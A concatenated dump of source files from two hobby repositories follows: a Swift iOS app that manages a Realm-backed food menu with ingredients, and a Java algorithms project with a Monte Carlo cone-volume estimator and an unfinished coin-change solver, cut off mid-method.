static func likeName(in realm: Realm = try! Realm(), searchText:String)-> Results<Food>{
return realm.objects(Food.self).filter(NSPredicate(format: "name CONTAINS[cd] %@", searchText)).sorted(byKeyPath: "name");
}
static func save(in realm: Realm = try! Realm(), food:Food)->Bool {
return CustomRealm.save(in:realm, item: food);
}
static func remove(in realm: Realm = try! Realm(), food:Food)->Bool {
return CustomRealm.remove(in: realm, item:food)
}
}
<file_sep>//
// FoodMenuViewController.swift
// RealIOS
//
// Created by <NAME> on 24/10/2018.
// Copyright © 2018 <NAME>. All rights reserved.
//
import UIKit
import RealmSwift
import UITableViewCellAnimation
import SwipeCellKit
class FoodMenuViewController: UIViewController {
var presenter:VCMenuPresenter?;
@IBOutlet weak var UIFoodTV: UITableView!
@IBOutlet weak var UIFoodSearchBar: UISearchBar!
override func viewDidLoad(){
super.viewDidLoad()
self.presenter=VCMenuPresenter();
self.presenter?.delegate=self;
// Do any additional setup after loading the view.
self.UIFoodTV.delegate=self;
self.UIFoodTV.dataSource=self;
//registering CustomTableViewCell
// self.UIFoodTV.register(UINib(nibName: "Custom1TableViewCell", bundle: nil), forCellReuseIdentifier: "CustomTVCell1");
//searchbar
self.UIFoodSearchBar.delegate=self;
self.configureTableView()
// self.UIFoodTV.separatorStyle = .none
}
override func didReceiveMemoryWarning() {
super.didReceiveMemoryWarning()
// Dispose of any resources that can be recreated.
}
@IBAction func AddFoodOnClick(_ sender: Any) {
var foodTF:UITextField?;
let uialert=UIAlertController(title: "Add Food in Menu", message: "", preferredStyle: .alert)
uialert.addTextField(configurationHandler: {
(tf) in
tf.placeholder="Food";
foodTF=tf;
})
let addAction=UIAlertAction(title: "Add", style: .default, handler: {
(action) in
//action invoked when user added new item button
let food=Food(name: foodTF!.text!);
self.presenter?.SaveNew(food: food);
})
let cancelAction=UIAlertAction(title: "Cancel", style: .default, handler: {
(action) in
})
uialert.addAction(addAction);
uialert.addAction(cancelAction);
present(uialert, animated: true, completion: nil)
}
override func prepare(for segue: UIStoryboardSegue, sender: Any?) {
if segue.identifier == "foodToIngredients"{
let destVC=segue.destination as! IngredientsViewController;
destVC.food=self.presenter?.selectedFood;
}
}
}
//MARK: -UISearchBar Functionalities
extension FoodMenuViewController: UISearchBarDelegate{
func searchBarSearchButtonClicked(_ searchBar: UISearchBar) {
self.presenter?.LoadData(searchText: searchBar.text!)
}
func searchBar(_ searchBar: UISearchBar, textDidChange searchText: String){
if searchText.count <= 0{
self.presenter?.LoadData(searchText: searchText)
DispatchQueue.main.async {
searchBar.resignFirstResponder();
}
}
}
}
//MARK: -SwipeTableView
extension FoodMenuViewController:SwipeTableViewCellDelegate{
func tableView(_ tableView: UITableView, editActionsForRowAt indexPath: IndexPath, for orientation: SwipeActionsOrientation) -> [SwipeAction]? {
guard orientation == .right else { return nil }
let deleteAction = SwipeAction(style: .destructive, title: "Delete") { action, indexPath in
// handle action by updating model with deletion
self.presenter?.RemoveData(index:indexPath.row);
}
// customize the action appearance
deleteAction.image = UIImage(named: "delete")
return [deleteAction]
}
}
//MARK: -UITableView Functionalities
extension FoodMenuViewController:UITableViewDelegate, UITableViewDataSource{
func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int {
//?? - nil coalesceng operator if foods is nil it returns one else it return its value
return self.presenter?.foods?.count ?? 1;
}
func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {
let cell = UIFoodTV.dequeueReusableCell(withIdentifier: "FoodCell") as! SwipeTableViewCell
cell.delegate=self;
cell.textLabel?.text = self.presenter!.foods?[indexPath.row].name ?? "No Food Added";
return cell;
}
func tableView(_ tableView: UITableView, didSelectRowAt indexPath: IndexPath) {
tableView.deselectRow(at: indexPath, animated: true)
self.presenter!.selectedFood=self.presenter!.foods?[indexPath.row] ?? nil;
if self.presenter?.selectedFood != nil {
performSegue(withIdentifier: "foodToIngredients", sender: nil)
}
}
func configureTableView(){
self.UIFoodTV.rowHeight=80.0;
}
}
extension FoodMenuViewController:VCMenuDelegate{
func SuccessProcess(message:String) {
self.CreateUIAlertMessage(message: message);
self.UIFoodTV.reloadData();
}
func FailedProcess(message:String) {
self.CreateUIAlertMessage(message: message);
}
}
//MARK: -UIAlert functionality
extension FoodMenuViewController{
func CreateUIAlertMessage(message:String){
let uialert=self.presenter?.CreateUIAlertMessage(message: message);
present(uialert!, animated: true, completion: nil)
}
}
<file_sep>//
// CustomRealm.swift
// RealIOS
//
// Created by <NAME> on 26/10/2018.
// Copyright © 2018 <NAME>. All rights reserved.
//
import Foundation
import RealmSwift
class CustomRealm {
static func save(in realm: Realm = try! Realm(), item:Object)->Bool {
do{
try realm.write{
realm.add(item)
}
return true;
}catch{
print("\(error.localizedDescription)");
return false;
}
}
static func remove(in realm: Realm = try! Realm(), item:Object)->Bool {
do{
try realm.write{
realm.delete(item)
}
return true;
}catch{
print("\(error.localizedDescription)");
return false;
}
}
}
<file_sep>//
// IngredientsViewController.swift
// RealIOS
//
// Created by <NAME> on 24/10/2018.
// Copyright © 2018 <NAME>. All rights reserved.
//
import UIKit
import RealmSwift
class IngredientsViewController: UIViewController {
@IBOutlet weak var UIIngredientSB: UISearchBar!
@IBOutlet weak var UIIngredientTV: UITableView!
let realm=try! Realm();
var food:Food?
var ingredients:Results<Ingredients>?;
override func viewDidLoad() {
super.viewDidLoad()
// Do any additional setup after loading the view.
self.UIIngredientTV.delegate=self;
self.UIIngredientTV.dataSource=self;
self.LoadData();
}
override func didReceiveMemoryWarning(){
super.didReceiveMemoryWarning()
// Dispose of any resources that can be recreated.
}
@IBAction func AddIngredientsOnClick(_ sender: Any){
var ingredientTF:UITextField?;
var quantityTF:UITextField?;
let uialert=UIAlertController(title: "Add Ingredients", message: "", preferredStyle: .alert)
uialert.addTextField(configurationHandler: {
(tf) in
tf.placeholder="Ingredients";
tf.keyboardType = .asciiCapable;
ingredientTF=tf;
})
uialert.addTextField(configurationHandler: {
(tf) in
tf.placeholder="Quantity";
tf.keyboardType = .numberPad;
quantityTF=tf;
})
let addAction=UIAlertAction(title: "Add", style: .default, handler: {
(action) in
//action invoked when user added new item button
let quantity=(quantityTF?.text as! NSString).floatValue
var ingredient=Ingredients(name: (ingredientTF?.text!)!, q:quantity)
self.Save(item: ingredient);
})
let cancelAction=UIAlertAction(title: "Cancel", style: .default, handler: {
(action) in
})
uialert.addAction(addAction);
uialert.addAction(cancelAction);
present(uialert, animated: true, completion: nil)
}
}
//MARK: -UITableView Functionalities
extension IngredientsViewController:UITableViewDelegate, UITableViewDataSource{
func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int {
//if ingredients list is nil then return 1
return self.ingredients?.count ?? 1
}
func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {
let cell = tableView.dequeueReusableCell(withIdentifier: "IngredientCell", for: indexPath)
cell.textLabel?.text = self.ingredients?[indexPath.row].name ?? "No Ingredients Listed!";
return cell;
}
}
extension IngredientsViewController{
func LoadData(){
self.ingredients=self.food?.ingredients.sorted(byKeyPath: "name", ascending: true);
self.UIIngredientTV.reloadData();
}
func Save(item:Ingredients){
// self.food?.ingredients.append(item);
print("Dont know how to save data from relationshional");
// self.food?.ingredients.append(item);
// do{
// try self.realm.write{
// realm.add(item);
// }
// }catch{print("\(error.localizedDescription)")}
self.LoadData();
}
}
<file_sep>//
// Custom1TableViewCell.swift
// RealIOS
//
// Created by <NAME> on 24/10/2018.
// Copyright © 2018 <NAME>. All rights reserved.
//
import UIKit
class Custom1TableViewCell: UITableViewCell {
@IBOutlet weak var UILabel: UILabel!
override func awakeFromNib() {
super.awakeFromNib()
// Initialization code
}
override func setSelected(_ selected: Bool, animated: Bool) {
super.setSelected(selected, animated: animated)
// Configure the view for the selected state
}
@IBAction func ToggleOnClick(_ sender: Checkbox1) {
sender.Toggle();
}
}
<file_sep>//
// Ingredients.swift
// RealIOS
//
// Created by <NAME> on 23/10/2018.
// Copyright © 2018 <NAME>. All rights reserved.
//
import Foundation
import RealmSwift;
class Ingredients:Object{
@objc dynamic var name:String="";
@objc dynamic var quantity:Float=0;
//set the inverse relationship to food and property of which they are linked ingredients
var parentFood = LinkingObjects(fromType: Food.self, property: "ingredients")
convenience init(name:String, q:Float){
self.init()
self.name=name;
self.quantity=q;
}
func set(name:String, q:Float){
self.name=name;
self.quantity=q;
}
static func all(in realm: Realm = try! Realm()) -> Results<Ingredients> {
return realm.objects(Ingredients.self).sorted(byKeyPath: "name");
}
static func likeName(in realm: Realm = try! Realm(), search:String) -> Results<Ingredients> {
return realm.objects(Ingredients.self).filter(NSPredicate(format: "name CONTAINS[cd] %@", search)).sorted(byKeyPath: "name");
}
static func save(in realm: Realm = try! Realm(), ingredient:Ingredients)->Bool {
return CustomRealm.save(in:realm, item:ingredient)
}
static func remove(in realm: Realm = try! Realm(), ingredient:Ingredients)->Bool {
return CustomRealm.remove(in:realm, item:ingredient)
}
}
<file_sep>//
// Checkbox1.swift
// RealIOS
//
// Created by <NAME> on 24/10/2018.
// Copyright © 2018 <NAME>. All rights reserved.
//
import UIKit
class Checkbox1: UIButton {
var isChecked:Bool=false;
override func awakeFromNib() {
super.awakeFromNib()
self.SetImage();
}
func Set(ic:Bool){
self.isChecked=ic;
}
func Toggle(){
self.isChecked = !self.isChecked;
self.SetImage();
}
func SetImage(){
self.setImage(UIImage(named: self.isChecked ? "c1.png" : "c1n.png")!, for: .normal);
}
}
<file_sep>platform :ios, '9.0'
target 'RealIOS' do
use_frameworks!
# Pods for RealIOS
pod 'RealmSwift'
pod 'UITableViewCellAnimation'
pod 'SwipeCellKit'
end
| 91c7249b22aa73e1d6cbb3f52fd3ac8d34dd6cd5 | [
"Swift",
"Ruby"
] | 9 | Swift | ljbdelacruz/RealmIOSSwift | e315ed68db29afd6d7909d1ee09aec65f155c980 | da4f591c4d0537613c7e43380b7c2d2b4a69c3d4 |
refs/heads/master | <file_sep>use crate::node::Node;
pub struct AddNode {
name: String,
}
impl Node for AddNode {
fn evaluate(&self) {
println!("Evaluating {}", self.name)
}
}
impl AddNode {
pub fn new() -> AddNode {
AddNode {
name: "AddNode".to_string(),
}
}
}
<file_sep>pub mod graph;
pub mod node;
pub mod math_nodes;
<file_sep>pub trait Node {
fn evaluate(&self);
}
<file_sep># Shelob Design
## Shelob Core
Dependencies: None
Crate Type: Library
Description: This does nothing but exposing an API to create graph types, node types and attribute types.
There might be multiple types of graphs (which might even deserve their own libraries):
### Graphs
Graphs are just basically containers for nodes, they keep track of how nodes are connected together and should implement how their nodes get evaluated.
### Nodes
There are two types of nodes:
1. Built in nodes, which are compiled nodes written in rust, with Shelob's API
2. Compound Nodes: These are actually Shelob graphs that contain other nodes. Evaluating a compound node actually evaluates its inner graph. It would be cool to be able to add a forward graph compound inside a push/pull graph and vice versa but that might be complex? To be discussed.
I'd like to discuss if we need to have a difference between function nodes and data nodes. For example:
- A Multiply node would be a function that takes two values and returns another one.
- A Shape node would just store vertex data
- A transform would sit kind of in the middle? or maybe just straight un be a function node that evaluates its local/world matrix
### Attributes
They can be:
- Single values or arrays. An array attribute has is exactly like Maya's Multi attributes
- Input, output or both
- Private or public. Private nodes are only accessible from inside the compound
- get/set from within the compound with get/set nodes
- Inferred (automatic type detection, can be limited to some types)
---
## Shelob Forward Evaluation Graph
Dependencies: Shelob Core
Crate Type: Library
Description: Graphs that have an entry point. similar to Unreal's blueprint. These let you control the flow of execution explicitly.
### Attributes
* Exec attributes: This is how you explicitely control the flow of execution.
### Nodes
No specific node implemented there but most (all?) nodes should be automatically added two exec attributes, an input and output
---
## Shelob Push/Pull Graph
Dependencies: Shelob Core
Crate Type: Library
Description: A graph that don't have one clear entry point.
When changing a value, walk down the graph, tag any node that needs to be re-evaluated as "Dirty". That's the push part.
Pick a node in the graph that we want to evaluate, then evaluate the dirty nodes that don't have dirty nodes connected in their inputs. repeat until all the dirty nodes are evaluated up until the node that was picked in the first place.
Actual implementation might not be exactly that, TBD.
---
## Shelob Array
Dependencies: Shelob Core
Crate Type: Library
Description: Array Attributes and array manipulation. It might need to be a dependency for every crate that introduce a new attribute type.
---
## Shelob Numeric
Dependencies: Shelob Core
Crate Type: Library
Description: Basic numerical operations
### Attributes
- Integer
- Float
### Nodes
* Add/Substract/Multiply/divide: self explanatory. All attributes types are inferred (Limited to numeric types and vectors of numeric types)
* Remap. Two options there:
* Remap Range: just take an old_min/old_max and remap that to a new_min, new_max range
* Remap Curve: Let the user control the remap precisely with a curve and do some fancy non linear stuff
* Clamp
* Power
* Absolute
* Round
* Truncate
* Lerp
* more stuff
---
## Shelob Trigonometry
Dependencies: Shelob Core, Shelob Numeric
Crate Type: Library
Description: Everything trigonometry, probably a good place to introduce radians, degrees, etc.
---
## Shelob String
Dependencies: Shelob Core
Crate Type: Library
Description: String manipulation
### Attributes
- String
### Nodes
- TBD
---
## Shelob Logic
Dependencies: Shelob Core
Crate Type: Library
### Attributes:
- Boolean
### Nodes
* Branch: Evaluates one part of the graph or another based on a Boolean
* Switch/case: evaluates different branches of the graph based on an input
* Loops:
Loop nodes are compound nodes, they evaluate their inner graph over and over until
* While: Loops until the break condition is met.
* Do While: Same as above but evaluates at least once.
* For each: Loop over an array.
* Iterate: Loops n times.
* Break (probably only useful in forward evaluation graphs): Exit out of a loop
* Continue (probably only useful in forward evaluation graphs): Skips the rest of the evaluation and goes to the next iteration of the loop
---
## Shelob Vector
Dependencies: Shelob Core, Shelob Numeric
Crate Type: Library
### Attributes:
* Vector: an attribute with n values. not to be mistaken with arrays. We will have arrays of vectors
### Nodes:
* Vector math stuff, TBD
---
## Shelob Matrix
Dependencies: Shelob Core
Crate Type: Library
Looks like a good reference for matrix operations: https://en.wikipedia.org/wiki/Matrix_(mathematics)#Basic_operations
Attributes Types:
- Matrix (not just 4x4 matrices, any matrix size)
Nodes:
* Add Matrix
* Scalar Multiplication
* Transpose Matrix
* Multiply matrix
* Inverse matrix
---
## Shelob OS Nodes
Dependencies: Shelob Core, Shelob Strings
Crate Type: Library
Description: Nodes to interact with the OS. manipulate files, spawn/kill processes etc.
---
## Shelob 3D
Dependencies: Shelob Core, Shelob Array, Shelob Numeric, Shelob Matrix, Shelob Trigonometry
Crate Type: Library
Description: This is a big and definitely not exhaustive one.
### Attributes
* Mesh: Dictionary like data that describes the mesh vertices, their position and how they are connected to each other. This will probably be more complex as we go and might include color data, material data, etc. For now let's just focus on the shape of the node.
### Nodes
* Transform: Most basic 3D node. Basically just a results in 4x4 matrix describing its transformation.
The way I see it, it'll include 4 different matrices evaluated in the described order:
1. Rest Matrix. Similar to blender's edit mode for bones
2. Pre transform matrices: This is an array of matrices that constraints will use to modify the node's transformation without locking its transforms from the user.
A neat thing there would be to be able to change how those matrices work together per matrix (think blending modes in photoshop) here's a few ideas
- Multiplication: The matrices would just add up to each other
- Linear interpolation: The matrix that's below would override the one(s) above by 0-1 amount
3. Transformation matrix: This is the user manipulated matrix, maybe only exposed through translation/rotation/scale/shear
4. Post Transform Matrices: just like the pre transform matrices but evaluated after the transformation
They'll output both a local matrix and a world matrix. These are the result of the evaluation of all the matrices described above.
* Constraints:
* Parent Constraint
* Point Constraint
* Orient Constraint
* Scale Constraint
* Aim Constraint
* IK Constraint(s)
* Twist extractor (possibly with infinite twist capabilities?)
* Shape nodes:
I don't have a ton of things to say right now but I'd like them to have a stack of modifiers, similar to blender with a twist: Modifiers can be either built-in rust modifiers or Shelob graphs that have access to the shape's data and can modify vertex position.
---
## Shelob 2D
Dependencies: Shelob Core, Shelob Numeric, Shelob trigonometry
Crate Type: Library
Description: Audio manipulation stuff
---
## Shelob Audio
Dependencies: Shelob Core
Crate Type: Library
Description: Audio manipulation stuff
---
## Shelob Animation
Dependencies: Shelob Core, Shelob Numeric
Crate Type: Library
Description: Introduces a timeline, keyframes, etc.<file_sep>use crate::node::Node;
pub struct Graph {
nodes: Vec<Box<Node>>,
}
impl Graph {
pub fn add_node(&mut self, node: Box<Node>) -> &Box<Node> {
self.nodes.push(node);
self.nodes.last().unwrap()
}
}
impl Graph {
pub fn new() -> Graph {
Graph { nodes: vec![] }
}
pub fn nodes(&self) -> &Vec<Box<Node>> {
&self.nodes
}
}
<file_sep>extern crate shelob;
use shelob::graph::Graph;
use shelob::math_nodes::AddNode;
#[test]
fn create_graph() {
Graph::new();
}
#[test]
fn add_node() {
let mut graph = Graph::new();
let node = graph.add_node(Box::new(AddNode::new()));
node.evaluate();
assert_eq!(graph.nodes().len(), 1);
}
| 083f7f70c4ba5e41a7f8b481e72bf9a5384ddbc6 | [
"Markdown",
"Rust"
] | 6 | Rust | HolisticCoders/shelob | 06ae7196497e790d0b1ea2658fb8ade246a154ff | 4203245dff62005494c4c531fabcf51a97755e79 |
refs/heads/master | <file_sep>using System;
using System.Net.Http;
using System.Text.RegularExpressions;
using System.Threading.Tasks;
namespace cw1
{
public class Program
{
public static async Task Main(string[] args)
{
//string a = "e";
//string b = "lo";
//Console.WriteLine($"{a}{b}"); // concat
//string path = @"https://github.com/s18579/cw1.git";
//Console.WriteLine("Hello World!");
//var newPerson = new Person { FirstName = "Jacek" };
var url = "https://www.pja.edu.pl";
var httpClient = new HttpClient();
var response = await httpClient.GetAsync(url);
if (response.IsSuccessStatusCode)
{
//2xx
var htmlContent = await response.Content.ReadAsStringAsync();
var regex = new Regex("[a-z]+[a-z0-9]*@[a-z0-9]+\\.[a-z]+", RegexOptions.IgnoreCase);
var matches = regex.Matches(htmlContent);
foreach(var match in matches)
{
Console.WriteLine(match.ToString());
}
}
}
}
}
<file_sep># cw1
<NAME> 12c s18579
| 18d7673e77e4f2797fe635294da497310fb8e3cc | [
"Markdown",
"C#"
] | 2 | C# | s18579/cw1 | df2aed93b539a3aefbc0cccc47288fdc2fd01728 | 14e7dedb1d1a7abe3265488c7c21231ebec87b9f |
refs/heads/master | <file_sep>namespace GetRequiredSectionSample.Configurations
{
public class SampleOptions
{
public const string ConfigurationName = "SampleSection";
public string SampleProperty { get; set; }
}
}
| a25cc5704c41418736ee5b48337098568be1f1f6 | [
"C#"
] | 1 | C# | michelcedric/GetRequiredSectionSample | 9ec3482bae77a828dcf55b971a5a21b982257ab7 | 2789435fe4ac7e8b9ad54ae28ac4f011c22ae2d7 |
refs/heads/master | <repo_name>sagzain/Algorithms<file_sep>/Algorithms/src/Probabilista/Cono.java
package Probabilista;
public class Cono extends Funciones{
private double r;
private double h;
public Cono(double linf, double lsup, double r, double h)
{
super(linf, lsup);
this.r = r;
this.h = h;
}
@Override
public double f(double x, double y) {
double z = h - (h * Math.sqrt(Math.pow(x, 2) + Math.pow(y, 2)))/r;
return z;
}
@Override
public double volNumericoP(int k) {
int puntos = 0;
double volumen = -1, x = -1, y = -1, z = -1;
for(int i = 0; i < k; i++) {
x = random(0, r);
y = random(0, h);
z = random(0, h); // en torno a r y h
if(z <= f(x, y)) {
puntos++;
}
}
volumen = Math.PI * r * r * h * ((double)puntos/k); //volumen del cilindro veces los aciertos del
IntervaloConfProporciones(volumen, k);
return volumen;
}
@Override
public double volumen() {
double volumen = (4 * Math.PI * r * r) / 3;
return volumen;
}
public double random(double min, double max){
return (Math.random() * (max - min)) + min;
}
public double getR() {
return r;
}
public void setR(double r) {
this.r = r;
}
public double getH() {
return h;
}
public void setH(double h) {
this.h = h;
}
}
<file_sep>/Algorithms/src/Probabilista/Funciones.java
package Probabilista;
public abstract class Funciones {
double linf, lsup;
double[] intervalo;
double[] intervaloP;
public Funciones(double inf, double sup){
if(inf > sup){
double x = inf;
inf = sup;
sup = x;
}
linf = inf;
lsup = sup;
intervalo = new double[2];
intervaloP = new double[2];
}
public double linf(){
return linf;
}
public double lsup(){
return lsup;
}
public void set_linf(double inf){
linf = inf;
}
public void set_lsup(double sup){
lsup = sup;
}
public double amplitud(){
return lsup() - linf();
}
public boolean vale(double x){
boolean v = x>=linf() && x<=lsup();
if(!v)
System.out.println(x+" no pertenece a "+ this);
return v;
}
public abstract double f(double x, double y);
public abstract double volNumericoP(int k);
public abstract double volumen();
public String toString(){
return "Intervalo: ["+ linf()+" , "+lsup()+"]";
}
public void intervaloConfianza(double[] valores){
double media = media(valores);
double S = cuasiV(valores, media);
intervalo[0] = media - 1.96*S/Math.sqrt(valores.length);
intervalo[1] = media + 1.96*S/Math.sqrt(valores.length);
}
public double intervaloInf(){
return intervalo[0];
}
public double intervaloSup(){
return intervalo[1];
}
public double media(double valores[]){
double media=0;
for(int x = 0; x < valores.length; x++){
media = media + valores[x];
}
return media/valores.length;
}
public double cuasiV(double[] valores, double media){
double S=0;
for(int x = 0; x < valores.length; x++){
S = S + Math.pow(valores[x] - media,2);
}
return Math.sqrt(S/(valores.length - 1));
}
public void IntervaloConfProporciones(double p, int n){
intervaloP[0] = p - 1.96 * Math.sqrt(Math.abs(p * (1 - p) / n));
intervaloP[1] = p + 1.96 * Math.sqrt(Math.abs(p * (1 - p) / n));
}
public double intervaloInfP(){
return intervaloP[0];
}
public double intervaloSupP(){
return intervaloP[1];
}
}<file_sep>/Algorithms/src/Devolucion/Estado.java
package Devolucion;
import java.util.ArrayList;
public class Estado {
private int restante;
private int[] monedas;
private Estado succ;
private boolean solution;
public Estado() {
}
public Estado(int x, int[] y)
{
restante = x;
monedas = y;
succ = null;
solution = false;
}
public int getRestante()
{
return restante;
}
public int[] getMonedas()
{
return monedas;
}
public void setRestante(int valor)
{
this.restante = valor;
}
public void setMonedas(int[] valor)
{
this.monedas = valor;
}
public String toString()
{
return "Resto: "+restante+" Monedas: "+monedas+"\n";
}
public Estado getSucc() {
return succ;
}
public void setSucc(Estado succ) {
this.succ = succ;
}
public boolean isSolution() {
return solution;
}
public void setSolution(boolean solution) {
this.solution = solution;
}
}
<file_sep>/Algorithms/src/Probabilista/Probabilista.java
package Probabilista;
public class Probabilista {
public Probabilista() {
int r = 5;
int h = 12;
Cono cono = new Cono(0, 12, 5, 12);
System.out.println("El volumen real del cono con r= " + r + " y h= " + h + " es: " + cono.volumen());
System.out.println("El volumen probabilistico es: " + cono.volNumericoP(1000) + " con el intervalo de confianza: " +
"[" + cono.intervaloInfP() + ", " + cono.intervaloSupP() + "].");
}
}
<file_sep>/Algorithms/src/Devolucion/Devolucion.java
package Devolucion;
import java.util.ArrayList;
import java.util.Hashtable;
import java.util.LinkedList;
import java.util.Scanner;
import java.util.concurrent.TimeUnit;
public class Devolucion {
private Estado[][] array;
private int dinero;
private ArrayList<Integer> monedas = new ArrayList<Integer>();
private Hashtable<Integer, Estado> sol = new Hashtable<Integer, Estado>();
private static Scanner sc = new Scanner(System.in);
public Devolucion() throws InterruptedException
{
inicio();
System.out.println("Seleccione el algoritmo de busqueda que desea utilizar:");
int option = -1;
do {
System.out.println("1.-Backwards.");
System.out.println("2.-Forwards.");
System.out.println("3.-Matricial.");
System.out.print("-->");
option = sc.nextInt();
}while(option<1 || option>3);
int[] iniciales = new int[monedas.size()];
for(int i = 0; i < monedas.size(); i++) iniciales[i] = 0;
Estado inicial = new Estado(dinero, iniciales);
switch(option) {
case 1:
back();
break;
case 2:
forwards();
break;
case 3:
crearSol(matricial());
break;
}
}
private void matBack(Estado[][] array, int fila, int columna) {
System.out.println("CONDICIONES :" + (columna < monedas.size()) + " " + (fila != 0));
if(columna < (monedas.size() )) {
if(fila != 0) {
int nuevaColumna, nuevaFila;
int[] usadas = array[fila][columna].getMonedas(); //obtenemos las monedas usadas hasta ahora
double calculo = Math.floor(fila/monedas.get(columna)); //maximo de monedas que entran en ese numero
usadas[columna] += (int)calculo; //modificar las monedas usadas
Estado hijo = new Estado((int)(fila - calculo*monedas.get(columna)), usadas); //crear el hijo
nuevaFila = (int)(fila - calculo*monedas.get(columna));
System.out.println("NUEVONUM: " + nuevaFila);
nuevaColumna = columna + 1;
array[nuevaFila][nuevaColumna] = hijo;
matBack(array, nuevaFila, nuevaColumna);
}
}
}
private void matForw(Estado[][] array) {
array[array.length-1][0].setRestante(0);
for (int columna = 0; columna < array[0].length-1; columna++) {
for (int fila = 0; fila < array.length; fila++) {
if(array[fila][columna].getRestante() > 0) {
int nuevaColumna = columna+1;
for(int i = 0; i < monedas.size(); i++) {
//if(array[nuevoDinero][nuevaColumna] < array[fila][columna])
}
}
}
}
}
private void back()
{
ArrayList<Estado> nodeList = new ArrayList<Estado>();
int[] lista = new int[monedas.size()];
for(int i : lista) {
lista[i] = 0;
}
Estado initial = new Estado(dinero, lista);
nodeList.add(initial);
backwards(initial, nodeList);
/*int i;
if(actual.getRestante() == 0 || !esPosible(actual.getRestante()))
{
actual.setMonedas(ceroMonedas());
actual.setUsadas(calcularUsadas(actual.getMonedas()));
sol.put(actual.getRestante(), actual);
}
else
{
for(i = 0; i < monedas.size(); i++)
{
if(actual.getRestante()-monedas.get(i) >= 0)
{
Estado nuevo = new Estado(actual.getRestante()-monedas.get(i), null);
System.out.println(nuevo);
back(nuevo);
if(!sol.containsKey(actual.getRestante()))
{
int[] list = new ArrayList<Integer>(nuevo.getMonedas());
list.set(i, list.get(i)+1);
actual.setMonedas(list);
actual.setUsadas(calcularUsadas(actual.getMonedas()));
sol.put(actual.getRestante(), actual);
}
else
{
if(nuevo.getUsadas() < actual.getUsadas() || nuevo.getRestante() == 0)
{
ArrayList<Integer> list = new ArrayList<Integer>(sol.get(nuevo.getRestante()).getMonedas());
list.set(i, list.get(i)+1);
actual.setMonedas(list);
actual.setUsadas(calcularUsadas(actual.getMonedas()));
sol.put(actual.getRestante(), actual);
}
}
}
}
}*/
}
private void backwards(Estado current, ArrayList<Estado> nodeList) {
if(current.getRestante() < monedas.get(monedas.size()-1)) {
System.out.println("FINIQUITAUN CON VALOR: " + current.getRestante());
return;
}else {
int multiplicador;
ArrayList<Estado> adjacents = new ArrayList<Estado>();
for(int i = 0; i < monedas.size(); i ++) {
multiplicador = 1;
Estado foo = new Estado();
int[] thing = current.getMonedas().clone();
while(multiplicador*monedas.get(i)<current.getRestante()) {
thing[i]++;
foo.setRestante(current.getRestante() - (multiplicador*monedas.get(i)));
foo.setMonedas(thing);
multiplicador++;
//System.out.println("CREANDO HIJO: " + foo.getRestante() + " CON LAS MONEDAS USADAS: " + foo.getMonedas()[0] + " " + foo.getMonedas()[1]);
adjacents.add(foo);
System.out.println("AÑADIENDO HJIJO: " + foo.getRestante() + " CON LAS MONEDAS USADAS: " + foo.getMonedas()[0] + " " + foo.getMonedas()[1]);
};
}
for(int i = 0; i < adjacents.size(); i++) {
System.out.println("ADYACENTE DE: " + current.getRestante() + " ES EL: " + adjacents.get(i).getRestante() + " CON LAS MONEDAS:" + adjacents.get(i).getMonedas()[0] + " " + adjacents.get(i).getMonedas()[1]);
}
for(Estado adjacent : adjacents) {
//System.out.println("HIJO: " + adjacent.getRestante());
if(nodeList.contains(adjacent)) {
//System.out.println("NodeList contiene HIJO");
adjacent = nodeList.get(nodeList.indexOf(adjacent));
}else {
//System.out.println("NodeList no contiene HIJO");
nodeList.add(adjacent);
backwards(adjacent, nodeList);
}
if(current.getSucc() == null) {
//System.out.println("Actual no tiene sucesor");
current.setSucc(adjacent);
}else {
//System.out.println("Actual tiene sucesor");
if(esMejor(current.getSucc(), adjacent)) {
//System.out.println("Pero el nuevo es mejor");
current.setSucc(adjacent);
}
}
if(current.getSucc().isSolution() || current.getSucc().getRestante() == 0){
current.setSolution(true);
}
}
}
}
private void forwards() {
}
private Hashtable<Integer,Integer> matricial(){
array = new Estado[dinero+1][monedas.size()+1];
Hashtable<Integer,Integer> sol = new Hashtable<Integer, Integer>();
for (int i = 0; i < array.length; i++) {
for(int j = 0; j < array[0].length; j++) {
array[i][j] = new Estado();
}
}
int[] iniciales = new int[monedas.size()];
Estado Inicial = new Estado(dinero, iniciales);
array[dinero][0] = Inicial;
int option = 0;
do {
System.out.println("Ahora selecciona que metodo matricial utilizar:\n" +
"1.-Backwards." +
"2.-Forwards.");
option = sc.nextInt();
}while(option <= 0 || option > 2);
switch(option) {
case 1:
matBack(array, dinero, 0);
break;
case 2:
matForw(array);
break;
}
sol = matriz(array);
return sol;
}
/************************************************************************
********************** METODOS AUXILIARES ******************************
************************************************************************/
private void crearSol(Hashtable<Integer, Integer> matricial) {
}
private void inicio() throws InterruptedException
{
lectura();
inicializarMonedas();
}
private void inicializarMonedas()
{
//Aqui ponemos las monedas que se van a poder utilizar para dar el cambio
monedas.add(3);
monedas.add(2);
//monedas.add(5);
//monedas.add(10);
}
private ArrayList<Integer> setMonedas()
{
int i;
ArrayList<Integer> list = new ArrayList<Integer>();
for(i = 0; i < monedas.size(); i++)
{
list.add(0);
}
return list;
}
private boolean esPosible(int x)
{
int i;
boolean posible = false;
for(i = 0; i < monedas.size(); i++)
if(x-monedas.get(i) < dinero)
{
posible = true;
break;
}
return posible;
}
private boolean esMejor(Estado origen, Estado destino)
{
int i;
int contadorO, contadorD;
contadorO = contadorD = 0;
for(i = 0; i < monedas.size(); i++)
{
contadorO += origen.getMonedas()[i];
contadorD += destino.getMonedas()[i];
}
if(contadorO < contadorD) return false;
else return true;
}
private int obtenerMayor()
{
int minkey;
minkey = 0;
java.util.Set<Integer> set = sol.keySet();
for(int key : set)
if(key > minkey)
minkey = key;
return minkey;
}
private int calcularUsadas(ArrayList<Integer> list)
{
int i;
int contador = 0;
for(i = 0; i < list.size(); i++)
contador += list.get(i);
return contador;
}
private void imprimirSolucion(Estado e)
{
System.out.printf("Para la cantidad de %d € se han empleado:\n" , dinero);
for(int i= 0; i < e.getMonedas().length; i++)
{
if(e.getMonedas()[i] > 1)
System.out.printf("%d monedas de %d €\n", e.getMonedas()[i], monedas.get(i));
else
System.out.printf("%d moneda de %d €\n", e.getMonedas()[i], monedas.get(i));
}
if(e.getRestante() > 1)
System.out.printf("Y faltarían %d €\n", resto(e));
